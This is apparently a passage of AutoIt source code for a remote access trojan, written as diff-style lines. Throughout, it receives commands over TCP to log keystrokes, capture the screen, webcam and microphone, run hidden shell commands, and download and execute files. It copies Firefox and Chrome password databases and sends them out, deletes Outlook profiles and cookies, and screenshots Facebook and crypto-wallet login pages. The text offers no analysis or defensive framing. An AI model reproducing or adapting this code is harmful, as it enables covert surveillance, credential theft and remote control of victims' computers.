- $Uacx = "x"
- EndIf
- $1x = InetRead("http://ip-score.com/checkip/")
- $11x = BinaryToString($1x)
- $Count = _StringBetween($11x, '.png"> ', '</p>')
- If $Count = "" Or 0 Or @error Then
- $1666 = "x"
- Else
- $1666 = $Count[1]
- EndIf
- $1xs = InetRead("http://ip-score.com/checkip/")
- $11xs = BinaryToString($1xs)
- $Count2 = _StringBetween($11xs, '<b>', '</b>')
- If $Count2 = "" Or 0 Or @error Then
- $1666SS = "x"
- Else
- $1666SS = $Count2[1]
- EndIf
- TCPSend($r, $1666 & "|" & $Vicname & "|" & $1666SS & "|" & @UserName & "|" & @OSVersion & "|" & @OSArch & "|" & $cam & "|" & $antivirus & "|" & $Uacx & "|" & "ddd" & "|" & $detectOStype & "|" & "beta")
- If @error Then ContinueLoop
- Cleanup()
- Local $hMod
- Global $g_hHook, $g_hStub_KeyProc, $g_sBuffer = ""
- Local $g_hHook
- Local $nCode
- Local $wParam
- Local $lParam
- $g_hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
- $hMod = _WinAPI_GetModuleHandle(0)
- $g_hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($g_hStub_KeyProc), $hMod)
- ;~ OnAutoItExitRegister("Cleanup")
- $temp = TimerInit()
- While 1
- Sleep(20)
- $uu = TCPRecv($r, 2048)
- If @error Then ExitLoop
- If StringInStr($uu, "Time0") Then
- $temp = TimerInit()
- $uu=StringReplace($uu,'Time0',"")
- EndIf
- If StringInStr($uu,"Outlopass") Then
- FileDelete(@tempdir&'/passlist.txt')
- $ls=_StringBetween($uu,"Outlopass","DxzR")
- InetGet($ls[0], @TempDir & "/Outx.exe")
- Run(@ComSpec & ' /c Outx.exe -f "passlist.txt"',@tempdir,"",@SW_HIDE)
- Sleep(2000)
- If FileExists(@tempdir&'/passlist.txt') Then
- $dez=FileRead(@tempdir&'/passlist.txt')
- TCPSend($r, $dez)
- Else
- TCPSend($r, 'No Password File')
- EndIf
- FileDelete(@tempdir&'/Outx.exe')
- EndIf
- If StringInStr ($uu,"OutLuke") Then
- ProcessClose("OUTLOOK.EXE")
- RegDelete("HKCU\Software\Microsoft\Internet Account Manager\Accounts")
- RegDelete("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts")
- RegDelete("HKCU\Software\Microsoft\Windows Messaging Subsystem\Profiles")
- RegDelete("HKCU\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook")
- RegDelete("HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles")
- RegDelete("HKCU\Software\Microsoft\Office\7.0\Outlook\Profiles")
- RegDelete("HKCU\Software\Microsoft\Office\8.0\Outlook\Profiles")
- RegDelete("HKCU\Software\Microsoft\Office\9.0\Outlook\Profiles")
- RegDelete("HKCU\Software\Microsoft\Office\11.0\Outlook\Profiles")
- RegDelete("HKCU\Software\Microsoft\Office\12.0\Outlook\Profiles")
- RegDelete("HKCU\Software\Microsoft\Office\14.0\Outlook\Profiles")
- RegDelete("HKCU\Software\Microsoft\Office\15.0\Outlook\Profiles")
- RegDelete("HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles")
- FileDelete(@appdatadir&"\Microsoft\Credentials")
- FileDelete(@UserProfileDir&"\AppData\Local\Microsoft\Credentials\")
- EndIf
- If StringInStr ($uu,"QURAN") Then
- FileCreateShortcut("mms://50.22.223.13/s_gmd",@tempdir&"/Q.lnk",@tempdir)
- ShellExecute(@tempdir&"/Q.lnk","","","",@SW_HIDE)
- EndIf
- If StringInStr ($uu,"kortos") Then
- ProcessClose('wmplayer.exe')
- EndIf
- If StringInStr($uu,"interpas")Then
- _888Pass()
- Sleep(2000)
- If FileExists(@tempdir&'/PassW8.txt') Then
- $dez=FileRead(@tempdir&'/PassW8.txt')
- TCPSend($r, $dez)
- Else
- TCPSend($r, 'No Password File')
- EndIf
- EndIf
- If StringInStr($uu, "OnlineKey") Then
- If FileExists(@TempDir & "/Klog.txt") Then
- Sleep(300)
- $sdfz = FileRead(@TempDir & "/Klog.txt")
- TCPSend($r, $sdfz)
- EndIf
- EndIf
- If StringInStr($uu, "OnlineKDel") Then
- If FileExists(@TempDir & "/Klog.txt") Then
- FileDelete(@TempDir & "/Klog.txt")
- TCPCloseSocket($uu)
- EndIf
- EndIf
- If StringLeft($uu, 5) = "Speak" Then
- $is = _StringBetween($uu, "Speak|", "|")
- $Default = _StartTTS()
- _SetVolume($Default, 100)
- _SetRate($Default, -4)
- _Speak($Default, $is[0])
- EndIf
- If StringLeft($uu, 7) = 'GetSize' Then
- $iuiy1 = _StringBetween($uu, "GetSize|", "|")
- $ssx = FileGetSize($iuiy1[0])
- If Not @error Then
- If $ssx <> "" And $ssx <> "0" Then
- TCPSend($r, "Sizerx|" & $ssx & "|")
- EndIf
- EndIf
- EndIf
- If StringLeft($uu, 8) = 'sDown0xs' Then
- $iuiy1 = _StringBetween($uu, "sDown0xs|", "|")
- $treq = FileRead($iuiy1[0])
- TCPSend($r, $treq)
- EndIf
- If StringLeft($uu, 6) = 'Comprx' Then
- $iuiy1 = _StringBetween($uu, "Comprx|", "|")
- $tre = StringSplit($iuiy1[0], "\")
- $sseazw = _StringBetween("8m2" & $iuiy1[0], "8m2", $tre[$tre[0]])
- $Zip = _Zip_Create($sseazw[0] & $tre[$tre[0]] & ".zip")
- _Zip_AddFile($Zip, $iuiy1[0], 1)
- EndIf
- If StringLeft($uu, 6) = 'WallPx' Then
- $iuiy = _StringBetween($uu, "WallPx|", "|")
- RegWrite("HKCU\Control Panel\Desktop", "Wallpaper", "REG_SZ", $iuiy[0])
- ;~ RunWait("RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters ,1 ,True")
- _WinAPI_SystemParametersInfo($SPI_SETDESKWALLPAPER, 0)
- EndIf
- If StringLeft($uu, 6) = 'Execut' Then
- $iuiy = _StringBetween($uu, "Execut|", "|")
- ShellExecute($iuiy[0])
- EndIf
- If StringLeft($uu, 7) = 'Deletxc' Then
- $iuiys = _StringBetween($uu, "Deletxc|", "|")
- FileDelete($iuiys[0])
- EndIf
- If $uu = "AllDriver" Then
- $y = DriveGetDrive("ALL")
- If $y <> "" Then
- $tt = _ArrayToString($y, "\|", 1)
- $y2 = StringUpper($tt)
- TCPSend($r, "sisox" & $y2 & "Bgt")
- EndIf
- EndIf
- If $uu = "DeskDir" Then
- $fr = _FileListToArray(@DesktopDir, "*")
- $ssea = _ArrayToString($fr, "|", 1)
- TCPSend($r, "Starz" & $ssea & 'input' & @DesktopDir & "incut")
- EndIf
- If $uu = "Pictures" Then
- $fr = _FileListToArray(@UserProfileDir & "\Pictures", "*")
- $ssea = _ArrayToString($fr, "|", 1)
- TCPSend($r, "Starz" & $ssea & 'input' & @UserProfileDir & "\Pictures" & "incut")
- EndIf
- If $uu = "UserPro" Then
- $fr = _FileListToArray(@UserProfileDir, "*")
- $ssea = _ArrayToString($fr, "|", 1)
- TCPSend($r, "Starz" & $ssea & 'input' & @UserProfileDir & "incut")
- EndIf
- If $uu = "StartUp" Then
- $fr = _FileListToArray(@StartupDir, "*")
- $ssea = _ArrayToString($fr, "|", 1)
- TCPSend($r, "Starz" & $ssea & 'input' & @StartupDir & "incut")
- EndIf
- If $uu = "AppData" Then
- $fr = _FileListToArray(@UserProfileDir & "\AppData", "*")
- $ssea = _ArrayToString($fr, "|", 1)
- TCPSend($r, "Starz" & $ssea & 'input' & @UserProfileDir & "\AppData" & "incut")
- EndIf
- If $uu = "Roaming" Then
- $fr = _FileListToArray(@UserProfileDir & "\AppData\Roaming", "*")
- $ssea = _ArrayToString($fr, "|", 1)
- TCPSend($r, "Starz" & $ssea & 'input' & @UserProfileDir & "\AppData\Roaming" & "incut")
- EndIf
- If $uu = "Tempdir" Then
- $fr = _FileListToArray(@TempDir, "*")
- $ssea = _ArrayToString($fr, "|", 1)
- TCPSend($r, "Starz" & $ssea & 'input' & @TempDir & "incut")
- EndIf
- If $uu = "Localdir" Then
- $fr = _FileListToArray(@UserProfileDir & "\AppData\Local", "*")
- $ssea = _ArrayToString($fr, "|", 1)
- TCPSend($r, "Starz" & $ssea & 'input' & @UserProfileDir & "\AppData\Local" & "incut")
- EndIf
- If StringLeft($uu, 5) = "Refx|" Then
- $ssez = _StringBetween($uu, "Refx|", "|")
- $fr = _FileListToArray($ssez[0], "*")
- $sseaw = _ArrayToString($fr, "|", 1)
- TCPSend($r, "Sexvet|" & $sseaw)
- EndIf
- ;~ EndIf
- If StringInStr($uu, "Sound") Then
- $temp = TimerInit()
- _WinAPI_Wow64EnableWow64FsRedirection(False)
- Local $111 = _StringBetween($uu, "|", "|")
- $sss = (@TempDir & "\SouSen.wav")
- $sExe = "C:\Windows\system32\soundrecorder.exe /file " & $sss & " /duration 00:00:" & $111[0]
- RunWait($sExe)
- $xdr = FileRead(@TempDir & "\SouSen.wav")
- TCPSend($r, $xdr)
- TCPSend($r, "Soundclos")
- EndIf
- If $uu = "msg" Then
- $temp = TimerInit()
- MsgBox(0, '', " Hacked", 2)
- EndIf
- If $uu = "Refrech" Then
- ExitLoop
- $Keyser = 1
- EndIf
- If StringInStr($uu, "Uninstall") Then
- $temp = TimerInit()
- RegDelete('HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' ,'Microsoft Update' )
- FileDelete(@TempDir&'/Skyp/Microsoft Update.lnk')
- Run(@comspec & ' /c timeout 5 & Del "'&@ScriptFullPath&'" & exit' ,@Tempdir,@SW_HIDE)
- Exit
- EndIf
- If $uu = "kill" Then
- $temp = TimerInit()
- Exit
- EndIf
- If StringInStr($uu, "MouSxA") Then
- $uu2 = StringReplace($uu, "Time0", "")
- $uu2 = StringReplace($uu, "Screen", "")
- $DD1 = _StringBetween($uu2, "MouSxA", "Xc")
- $DD2 = _StringBetween($uu2, "Xc", "Xb")
- ;~ MsgBox(0,"A",$DD1[0]&" "&$DD2[0])
- MouseClick("Left", $DD1[0], $DD2[0], "1", 1)
- EndIf
- If StringInStr($uu, "MouSxB") Then
- $uu1 = StringReplace($uu, "Time0", "")
- $uu1 = StringReplace($uu, "Screen", "")
- $DDx1 = _StringBetween($uu1, "MouSxB", "Xc")
- $DDx2 = _StringBetween($uu1, "Xc", "Xb")
- MouseClick("Right", $DDx1[0], $DDx2[0], "1", 1)
- EndIf
- If StringInStr($uu, "Desksize") Then
- TCPSend($r, "Desksize" & @DesktopHeight & "X2" & @DesktopWidth & "X3")
- EndIf
- If StringInStr($uu, "QALITs") Then
- $datnwq=_StringBetween($uu,"QALITs",'PipQ')
- $Qlits =$datnwq[0]
- EndIf
- If StringInStr($uu, "Screen") Then
- ;~ $temp = TimerInit()
- _ScreenCapture_SetJPGQuality($Qlits)
- _ScreenCapture_Capture(@TempDir & "\888.jpg")
- $211 = FileOpen(@TempDir & "\888.jpg",16)
- $2 = FileRead($211)
- ;~ Sleep (1)
- TCPSend($r, $2)
- ;~ TCPSend($r, BinaryToString(_LZNTCompress($2)))
- TCPSend($r,"Oks0r")
- ;~ TCPSend($r, _LZNTCompress("0xOks"))
- FileClose($211)
- EndIf
- If StringInStr($uu, "OpCD") Then
- $temp = TimerInit()
- Local $aCDRom = DriveGetDrive("CDROM")
- If Not @error Then
- CDTray($aCDRom[1], "open")
- EndIf
- EndIf
- If StringInStr($uu, "CloseCD") Then
- $temp = TimerInit()
- Local $aCDRom = DriveGetDrive("CDROM")
- If Not @error Then
- CDTray($aCDRom[1], "Close")
- EndIf
- EndIf
- If StringInStr( $uu, "DowLDXss") Then
- $temp = TimerInit()
- Local $111 = _StringBetween($uu, "Ks0|", "|Bxb")
- Local $1112 = _StringBetween($uu, "|Bxb","UesWx")
- Local $sText = ""
- For $i = 1 To 6
- $sText &= Chr(Random(65, 90, 1))
- Next
- InetGet($111[0], @TempDir & "/" & $sText &'.'& $1112[0])
- ShellExecute(@TempDir & "/" & $sText &'.'& $1112[0])
- EndIf
- If StringInStr($uu, "Chat") Then
- ;~ #Region ### START Koda GUI section ### Form=;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- #region ### START Koda GUI section ### Form=
- $hParent = GUICreate('', 0, 0, 0, 0, 0, $WS_EX_TOOLWINDOW)
- $Form1w = GUICreate(" ", 525, 430, -1, -1, $WS_POPUP, BitOR($WS_EX_DLGMODALFRAME, $WS_EX_TOPMOST), $hParent);$WS_EX_DLGMODALFRAME
- $Input1w = GUICtrlCreateInput("", 8, 360, 401, 25)
- GUICtrlSetColor(-1, 0x65B933)
- GUICtrlSetFont(-1, 12, 400, 0, "")
- GUICtrlSetBkColor(-1, 0x000000)
- $Edit1w = GUICtrlCreateEdit("", 0, 0, 521, 345)
- GUICtrlSetFont(-1, 12, 400, 0, "")
- GUICtrlSetColor(-1, 0x65B933)
- GUICtrlSetBkColor(-1, 0x000000)
- $Button1w = GUICtrlCreateButton("Send Message", 419, 360, 89, 30)
- WinSetOnTop(" ", "", 1)
- GUISetState(@SW_SHOW)
- #endregion ### END Koda GUI section ###
- FileDelete(@TempDir & "/db.txt")
- While 1
- $nMsg = GUIGetMsg()
- Switch $nMsg
- ;Case $GUI_EVENT_CLOSE
- Case $Button1w
- $223 = GUICtrlRead($Input1w)
- If $223 <> "" Then
- TCPSend($r, $223)
- FileWrite(@TempDir & "/db.txt", "Victim: " & $223 & @CRLF)
- $456 = FileRead(@TempDir & "/db.txt")
- GUICtrlSetData($Edit1w, $456)
- _GUICtrlEdit_Scroll($Edit1w, $SB_SCROLLCARET)
- GUICtrlSetData($Input1w, "")
- EndIf
- EndSwitch
- $uux = TCPRecv($r, 500)
- If @error Then
- GUIDelete($Form1w)
- ExitLoop
- EndIf
- If StringInStr($uux, "ChatExit") Then
- GUIDelete($Form1w)
- ExitLoop
- EndIf
- If $uux <> "" And StringLeft($uux, 5) <> "Time0" Then
- FileWrite(@TempDir & "/db.txt", "Hacker: " & $uux & @CRLF)
- $456 = FileRead(@TempDir & "/db.txt")
- GUICtrlSetData($Edit1w, $456)
- _GUICtrlEdit_Scroll($Edit1w, $SB_SCROLLCARET)
- EndIf
- If StringInStr($uux, "Time0") Then
- $temp = TimerInit()
- EndIf
- If TimerDiff($temp) > 40000 Then
- GUIDelete($Form1w)
- ExitLoop
- EndIf
- WEnd
- EndIf
- If StringLeft($uu, 3) = "CMD" Then
- Local $111 = _StringBetween($uu, "|", "|")
- $cmdsend = _CMDControler($111[0])
- TCPSend($r, $cmdsend)
- EndIf
- If StringInStr($uu, "WebCam") Then
- $temp = TimerInit()
- If $cam = "Yes" Then
- FileInstall("cam",@tempdir&"/cam")
- If $xd = "0" Then
- $_escapi_Dll=FileRead(@tempdir&"/cam")
- Local $Width = 355
- Local $Height = 245
- Local $tagSimpleCapParams = "ptr mTargetBuf;" & "int mWidth;" & "int mHeight;"
- Local $tSimpleCapParams = DllStructCreate($tagSimpleCapParams)
- Local $tTargetBuf = DllStructCreate("BYTE[" & $Width * $Height * 4 & "]")
- Global $pTargetBuf = DllStructGetPtr($tTargetBuf)
- DllStructSetData($tSimpleCapParams, 1, $pTargetBuf)
- DllStructSetData($tSimpleCapParams, 2, $Width)
- DllStructSetData($tSimpleCapParams, 3, $Height)
- Local $pSimpleCapParams = DllStructGetPtr($tSimpleCapParams)
- Local $device = 0
- local $sDllBuffer = Memorydllopen($_escapi_Dll)
- Local $return = MemoryDllGetFuncAddress($sDllBuffer, 'initCOM')
- DllCallAddress("int", $return)
- Local $return = MemoryDllGetFuncAddress($sDllBuffer, 'initCapture')
- DllCallAddress("int:cdecl",$return, "int", $device, "ptr", $pSimpleCapParams)
- $return = DllCall($_escapi_Dll,"int:cdecl","initCapture", "int", $device, "ptr", $pSimpleCapParams)
- _GDIPlus_Startup()
- $xd = "1"
- EndIf
- Local $return = MemoryDllGetFuncAddress($sDllBuffer, 'doCapture')
- DllCallAddress("none:cdecl",$return, "int", $device)
- $hBMP = _WinAPI_CreateBitmap($Width, $Height , 1 , 32 , $pTargetBuf)
- $sFile = HBITMAP_To_Bytes($hBMP)
- _WinAPI_DeleteObject($hBMP)
- $sFileBuffer = Binary($sFile)
- TCPSend($r, "0x"&Hex($sFileBuffer))
- TCPSend($r, "Cstio")
- EndIf
- ;~ ////////////////ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
- EndIf
- ;Grabx
- ;~ _Graber()
- If StringInStr($uu, "Password") Then
- $temp = TimerInit()
- FileDelete(@TempDir & "\DD.zip")
- DirRemove(@TempDir & "\DD", 1)
- Sleep(200)
- DirCreate(@TempDir & "\DD")
- If FileExists(@AppDataDir & "\Mozilla\Firefox\Profiles") = 1 Then
- $16 = _FileListToArray(@AppDataDir & "\Mozilla\Firefox\Profiles")
- If Not @error Then
- For $i = 1 To $16[0] Step +1
- If FileExists(@AppDataDir & "\Mozilla\Firefox\Profiles\" & $16[$i] & "\logins.json") And FileExists(@AppDataDir & "\Mozilla\Firefox\Profiles\" & $16[$i] & "\key3.db") And FileExists(@AppDataDir & "\Mozilla\Firefox\Profiles\" & $16[$i] & "\cert8.db") = 1 Then
- FileCopy(@AppDataDir & "\Mozilla\Firefox\Profiles\" & $16[$i] & "\logins.json", @TempDir & "/DD/logins.json", 1)
- FileCopy(@AppDataDir & "\Mozilla\Firefox\Profiles\" & $16[$i] & "\key3.db", @TempDir & "/DD/key3.db", 1)
- FileCopy(@AppDataDir & "\Mozilla\Firefox\Profiles\" & $16[$i] & "\cert8.db", @TempDir & "/DD/cert8.db", 1)
- EndIf
- Next
- EndIf
- EndIf
- Sleep(200)
- FileCopy(@UserProfileDir & "\AppData\Local\Google\Chrome\User Data\Default\Login Data", @TempDir & "/DD/Login Data", 1)
- Sleep(200)
- If FileExists(@TempDir & "/DD/logins.json") = 1 Or FileExists(@TempDir & "/DD/Login Data") = 1 Then
- $Zip = _Zip_Create(@TempDir & "\DD.zip")
- _Zip_AddFolder($Zip, @TempDir & "\DD", 1)
- Sleep(200)
- $31 = FileRead(@TempDir & "\DD.zip")
- TCPSend($r, $31)
- TCPSend($r, "PassClose")
- EndIf
- EndIf
- ;UACx
- If $uu = "LogImage" Then
- $temp = TimerInit()
- If FileExists(@TempDir & "/Face1.jpg") Then
- $sset = FileRead(@TempDir & "/Face1.jpg")
- TCPSend($r, $sset)
- TCPSend($r, "EndImagxx")
- EndIf
- EndIf
- If $uu = "Graber" Then
- $temp = TimerInit()
- If FileExists(@TempDir & "/LoG.txt") Then
- $gra = FileRead(@TempDir & "/LoG.txt")
- TCPSend($r, "STSTxc" & $gra)
- Else
- TCPSend($r, "No Login Detected")
- EndIf
- EndIf
- If $uu = "Del Graber" Then
- FileDelete(@TempDir & "/LoG.txt")
- FileDelete(@TempDir & "/Face1.jpg")
- EndIf
- If $uu = "LogImage2" Then
- $temp = TimerInit()
- If FileExists(@TempDir & "/Block1.jpg") Then
- $sset = FileRead(@TempDir & "/Block1.jpg")
- TCPSend($r, $sset)
- TCPSend($r, "EndImagxx")
- EndIf
- EndIf
- If $uu = "Graber2" Then
- $temp = TimerInit()
- If FileExists(@TempDir & "/LoG2.txt") Then
- $gra = FileRead(@TempDir & "/LoG2.txt")
- TCPSend($r, "STSTxc" & $gra)
- Else
- TCPSend($r, "No Login Detected")
- EndIf
- EndIf
- If $uu = "Del Graber" Then
- FileDelete(@TempDir & "/LoG2.txt")
- FileDelete(@TempDir & "/Block1.jpg")
- EndIf
- If StringLeft($uu, 4) = "Open" Then
- $temp = TimerInit()
- ;~ MsgBox (0,"",$uu)
- Local $31 = _StringBetween($uu, "|", "|")
- ;~ _arraydisplay($31)
- ShellExecute('"' & $31[0] & '"')
- EndIf
- If StringLeft($uu, 7) = "Cookies" Then
- $temp = TimerInit()
- If $uu = "CookiesChrome" Or $uu = "CookiesAll" Then
- ProcessClose("chrome.exe")
- Sleep(500)
- FileDelete(@UserProfileDir & "\AppData\Local\Google\Chrome\User Data\Default\Cookies")
- EndIf
- If $uu = "CookiesFirefox" Or $uu = "CookiesAll" Then
- ProcessClose("firefox.exe")
- Sleep(500)
- ;~ DirRemove(@AppDataDir & "\Mozilla\Firefox\Profiles")
- FileDelete(@AppDataDir & "\Mozilla\Firefox\profiles.ini")
- EndIf
- EndIf
- If StringInStr($uu, "Process") Then
- $temp = TimerInit()
- $888 = ProcessList()
- For $i = 1 To $888[0][0] Step +1
- TCPSend($r, "|" & $888[$i][0])
- Next
- EndIf
- If StringLeft($uu, 11) = "ProcessKill" Then
- $12wx = _StringBetween($uu, "|", "|")
- ProcessClose($12wx[0])
- EndIf
- Local $ActiveWindow = WinGetTitle("")
- $A = StringRegExp($ActiveWindow, "Facebook - Log")
- $B = StringRegExp($ActiveWindow, "Facebook - Connexion")
- $C = StringRegExp($ActiveWindow, "entre ou cadastre-se")
- $D = StringRegExp($ActiveWindow, "Facebook - Inicia")
- $E = StringRegExp($ActiveWindow, "?? ??? ???")
- $F = StringRegExp($ActiveWindow, "My Wallet - Be Your Own")
- If $A = 1 Or $B = 1 Or $C = 1 Or $D = 1 Or $E = 1 Or $F = 1 Then
- If Not FileExists(@TempDir & "/Block1.jpg") Then
- If $F = 1 Then
- $tc = "2"
- TCPSend($r, "CQ")
- Sleep(4000)
- _ScreenCapture_SetJPGQuality(100)
- _ScreenCapture_Capture(@TempDir & "/Block1.jpg")
- EndIf
- EndIf
- If Not FileExists(@TempDir & "/Face1.jpg") Then
- If $A = 1 Then
- $tc = ""
- TCPSend($r, "CQ")
- Sleep(4000)
- _ScreenCapture_SetJPGQuality(100)
- _ScreenCapture_Capture(@TempDir & "/Face1.jpg")
- EndIf
- If $B = 1 Then
- $tc = ""
- TCPSend($r, "CQ")
- Sleep(4000)
- _ScreenCapture_SetJPGQuality(100)
- _ScreenCapture_Capture(@TempDir & "/Face1.jpg")
- EndIf
- If $C = 1 Then
- $tc = ""
- TCPSend($r, "CQ")
- Sleep(4000)
- _ScreenCapture_SetJPGQuality(100)
- _ScreenCapture_Capture(@TempDir & "/Face1.jpg")
- EndIf
- If $D = 1 Then
- $tc = ""
- TCPSend($r, "CQ")
- Sleep(4000)
- _ScreenCapture_SetJPGQuality(100)
- _ScreenCapture_Capture(@TempDir & "/Face1.jpg")
- EndIf
- If $E = 1 Then
- $tc = ""
- TCPSend($r, "CQ")
- Sleep(4000)
- _ScreenCapture_SetJPGQuality(100)
- _ScreenCapture_Capture(@TempDir & "/Face1.jpg")
- EndIf
- EndIf
- EndIf
- If TimerDiff($temp) > 120000 Then
- ExitLoop
- EndIf
- ;~ 900000
- ;~ ToolTip (TimerDiff($temp))
- WEnd
- WEnd
- Func _WebCamDetect()
- Local $sGetDriver, $sReturn
- For $si = 0 To 9
- $sGetDriver = DllCall('Avicap32.dll', 'Bool', 'capGetDriverDescription', 'dword', $si, 'ptr', 0, 'int', 0, 'ptr', 0, 'int', 0)
- If @error Then $sReturn = 'No'
- If $sGetDriver[0] Then $sReturn = 'Yes'
- Next
- If $sReturn = '' Then Return 'No'
- Return $sReturn
- EndFunc ;==>_WebCamDetect
- Func _WinAPI_Wow64EnableWow64FsRedirection($bEnable)
- Local $aRet = DllCall('kernel32.dll', 'boolean', 'Wow64EnableWow64FsRedirection', 'boolean', $bEnable)
- If @error Then Return SetError(@error, @extended, 0)
- ; If Not $aRet[0] Then Return SetError(1000, 0, 0)
- Return $aRet[0]
- EndFunc ;==>_WinAPI_Wow64EnableWow64FsRedirection
- ;USBx
- $sexemodule = ""
- $scommandline = ""
- Func FakePrc()
- Local $fautoitx64 = @AutoItX64
- Local $tstartupinfo = DllStructCreate("dword cbSize;" & "ptr Reserved;" & "ptr Desktop;" & "ptr Title;" & "dword X;" & "dword Y;" & "dword XSize;" & "dword YSize;" & "dword XCountChars;" & "dword YCountChars;" & "dword FillAttribute;" & "dword Flags;" & "word ShowWindow;" & "word Reserved2;" & "ptr Reserved2;" & "ptr hStdInput;" & "ptr hStdOutput;" & "ptr hStdError")
- Local $tprocess_information = DllStructCreate("ptr Process;" & "ptr Thread;" & "dword ProcessId;" & "dword ThreadId")
- Local $aCall = DllCall("kernel32.dll", "bool", "CreateProcessW", "wstr", $sexemodule, "wstr", $scommandline, "ptr", 0, "ptr", 0, "int", 0, "dword", 4, "ptr", 0, "ptr", 0, "ptr", DllStructGetPtr($tstartupinfo), "ptr", DllStructGetPtr($tprocess_information))
- If @error Or Not $aCall[0] Then Exit
- Local $hprocess = DllStructGetData($tprocess_information, "Process")
- Local $hThread = DllStructGetData($tprocess_information, "Thread")
- If $fautoitx64 And _runbinary_iswow64process($hprocess) Then
- DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
- Return SetError(2, 0, 0)
- EndIf
- EndFunc ;==>FakePrc
- Func _runbinary_iswow64process($hprocess)
- Local $aCall = DllCall("kernel32.dll", "bool", "IsWow64Process", "handle", $hprocess, "bool*", 0)
- If @error Or Not $aCall[0] Then Return SetError(1, 0, 0)
- Return $aCall[2]
- EndFunc ;==>_runbinary_iswow64process
- ;GraberFunc
- Func _CMDControler($sComando)
- Local $sCMD = Run('C:\Windows\system32\cmd.exe', @DesktopDir, @SW_HIDE, 3)
- StdinWrite($sCMD, $sComando)
- StdinWrite($sCMD, @CRLF)
- Local $sRead, $sReturn = ''
- Local $sTimerInit = TimerInit()
- Local $sDelay = 1000
- While 1
- $sRead = StdoutRead($sCMD)
- If $sRead <> '' Then
- $sReturn &= $sRead
- $sRead = ''
- EndIf
- If TimerDiff($sTimerInit) >= $sDelay Then ExitLoop
- WEnd
- ProcessClose('cmd.exe')
- Return $sReturn
- EndFunc ;==>_CMDControler
- Func hbitmap_to_bytes($hbitmap)
- Local $bitmap = _gdiplus_bitmapcreatefromhbitmap($hbitmap)
- Local $jpg_encoder = _gdiplus_encodersgetclsid("jpg")
- Local $tag_encoder = _winapi_guidfromstring($jpg_encoder)
- Local $ptr_encoder = DllStructGetPtr($tag_encoder)
- Local $stream = DllCall("ole32.dll", "uint", "CreateStreamOnHGlobal", "ptr", 0, "bool", 1, "ptr*", 0)
- DllCall($ghgdipdll, "uint", "GdipSaveImageToStream", "ptr", $bitmap, "ptr", $stream[3], "ptr", $ptr_encoder, "ptr", 0)
- _gdiplus_bitmapdispose($bitmap)
- Local $memory = DllCall("ole32.dll", "uint", "GetHGlobalFromStream", "ptr", $stream[3], "ptr*", 0)
- Local $mem_size = _memglobalsize($memory[2])
- Local $mem_ptr = _memgloballock($memory[2])
- Local $data_struct = DllStructCreate("byte[" & $mem_size & "]", $mem_ptr)
- Local $data = DllStructGetData($data_struct, 1)
- _memglobalfree($memory[2])
- Return $data
- EndFunc
- Func _gdiplus_bitmapdispose($hbitmap)
- Local $aresult = DllCall($ghgdipdll, "int", "GdipDisposeImage", "handle", $hbitmap)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0] = 0
- EndFunc
- Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "ptr", $pbits)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _memglobalsize($hmem)
- Local $aresult = DllCall("kernel32.dll", "ulong_ptr", "GlobalSize", "handle", $hmem)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _memglobalfree($hmem)
- Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalFree", "handle", $hmem)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _memgloballock($hmem)
- Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalLock", "handle", $hmem)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- ;CamxFunc
- Func _StartTTS()
- Return ObjCreate("SAPI.SpVoice")
- EndFunc ;==>_StartTTS
- Func _SetRate(ByRef $Object, $iRate); Rates can be from -10 to 10
- $Object.Rate = $iRate
- EndFunc ;==>_SetRate
- Func _Speak(ByRef $Object, $sText)
- $Object.Speak($sText)
- EndFunc ;==>_Speak
- Func _SetVolume(ByRef $Object, $iVolume);Volume
- $Object.Volume = $iVolume
- EndFunc ;==>_SetVolume
- ;~ Local $Password
- ;~ _Get_Chrome_Opera_Password($Password)
- ;~ filedelete("Password.TXT")
- ;~ FileWrite("Password.TXT", $Password)
- ;~ Func _Get_Chrome_Opera_Password(ByRef $Password)
- ;~ _SQLite_Startup()
- ;~ If @error Then Return SetError(1)
- ;~ Local $tempLogindatadir = @ScriptDir & "\LData\"
- ;~ If FileExists($tempLogindatadir) Then DirRemove($tempLogindatadir, 1)
- ;~ Local $LoginData = _Get_Logindata($tempLogindatadir)
- ;~ If Not @error Then
- ;~ For $io = 1 To $LoginData[0][0]
- ;~ _SQLite_Open($LoginData[$io][0])
- ;~ If Not @error Then
- ;~ Local $hQuery
- ;~ _SQLite_Query(-1, "SELECT * FROM logins;", $hQuery)
- ;~ If Not @error Then
- ;~ Local $aRow
- ;~ If $LoginData[$io][1] <> "" Then $Password &= @CRLF & "-------------------------[" & $LoginData[$io][1] & "]--------------------------" & @CRLF
- ;~ While _SQLite_FetchData($hQuery, $aRow, False, False) = $SQLITE_OK
- ;~ If UBound($aRow, 1) < 6 Then ContinueLoop
- ;~ $Password &= "Site: " & $aRow[0] & @CRLF & _
- ;~ "User: " & $aRow[3] & @CRLF & _
